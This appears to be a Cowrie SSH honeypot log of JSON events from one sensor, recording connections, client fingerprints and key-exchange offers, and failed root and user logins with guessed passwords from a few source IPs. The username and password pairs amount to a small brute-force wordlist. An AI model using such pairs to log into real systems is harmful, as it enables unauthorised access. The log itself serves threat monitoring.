{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:40.807877Z","src_ip":"91.92.40.36","session":"e7d394e19cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:43.443691Z","src_ip":"91.92.40.36","session":"e7d394e19cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:44.872108Z","src_ip":"91.92.40.36","session":"e7d394e19cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e26e7325f63","protocol":"ssh","message":"New connection: 91.92.40.36:46756 (10.17.0.5:22) [session: 8e26e7325f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:47.103172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:47.599462Z","src_ip":"91.92.40.36","session":"8e26e7325f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:47.604701Z","src_ip":"91.92.40.36","session":"8e26e7325f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xbot","password":"xbot","message":"login attempt [xbot/xbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:50.397247Z","src_ip":"91.92.40.36","session":"8e26e7325f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:51.560571Z","src_ip":"91.92.40.36","session":"8e26e7325f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46846,"dst_ip":"10.17.0.5","dst_port":22,"session":"cabdcd5c7455","protocol":"ssh","message":"New connection: 91.92.40.36:46846 (10.17.0.5:22) [session: cabdcd5c7455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:54.716854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:55.404308Z","src_ip":"91.92.40.36","session":"cabdcd5c7455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:55.407794Z","src_ip":"91.92.40.36","session":"cabdcd5c7455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:58.820716Z","src_ip":"91.92.40.36","session":"cabdcd5c7455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:00.875618Z","src_ip":"91.92.40.36","session":"cabdcd5c7455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48834,"dst_ip":"10.17.0.5","dst_port":22,"session":"3365c69c3b20","protocol":"ssh","message":"New connection: 91.92.40.36:48834 (10.17.0.5:22) [session: 3365c69c3b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:02.266851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:03.231650Z","src_ip":"91.92.40.36","session":"3365c69c3b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:03.235224Z","src_ip":"91.92.40.36","session":"3365c69c3b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38786,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ca77144c7d7","protocol":"ssh","message":"New connection: 103.77.242.62:38786 (159.203.135.109:22) [session: 2ca77144c7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:04.030766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:04.035299Z","src_ip":"103.77.242.62","session":"2ca77144c7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:04.279530Z","src_ip":"103.77.242.62","session":"2ca77144c7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131219","message":"login attempt [root/131219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:05.026441Z","src_ip":"103.77.242.62","session":"2ca77144c7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:06.273623Z","src_ip":"103.77.242.62","session":"2ca77144c7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:08.366930Z","src_ip":"91.92.40.36","session":"3365c69c3b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37070,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc79c7f741c9","protocol":"ssh","message":"New connection: 91.92.40.36:37070 (10.17.0.5:22) [session: fc79c7f741c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:08.964097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:10.131795Z","src_ip":"91.92.40.36","session":"fc79c7f741c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:10.157487Z","src_ip":"91.92.40.36","session":"fc79c7f741c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:10.619633Z","src_ip":"91.92.40.36","session":"3365c69c3b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":37450,"dst_ip":"159.203.135.109","dst_port":22,"session":"569618130042","protocol":"ssh","message":"New connection: 102.213.34.99:37450 (159.203.135.109:22) [session: 569618130042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:11.513967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:11.518045Z","src_ip":"102.213.34.99","session":"569618130042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:11.696220Z","src_ip":"102.213.34.99","session":"569618130042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuserdevuser","message":"login attempt [devuser/devuserdevuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:12.408344Z","src_ip":"102.213.34.99","session":"569618130042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:13.580932Z","src_ip":"102.213.34.99","session":"569618130042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"12345678","message":"login attempt [daniel/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:14.239269Z","src_ip":"91.92.40.36","session":"fc79c7f741c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:16.160790Z","src_ip":"91.92.40.36","session":"fc79c7f741c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26942,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2e7b0a996a","protocol":"ssh","message":"New connection: 91.92.40.36:26942 (10.17.0.5:22) [session: 1f2e7b0a996a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:18.513764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:19.461046Z","src_ip":"91.92.40.36","session":"1f2e7b0a996a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:19.465032Z","src_ip":"91.92.40.36","session":"1f2e7b0a996a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26998,"dst_ip":"10.17.0.5","dst_port":22,"session":"b02ddb9f66dc","protocol":"ssh","message":"New connection: 91.92.40.36:26998 (10.17.0.5:22) [session: b02ddb9f66dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:25.228839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:26.573374Z","src_ip":"91.92.40.36","session":"b02ddb9f66dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:53:26.576611Z","src_ip":"91.92.40.36","session":"b02ddb9f66dc","protocol":"ssh"}
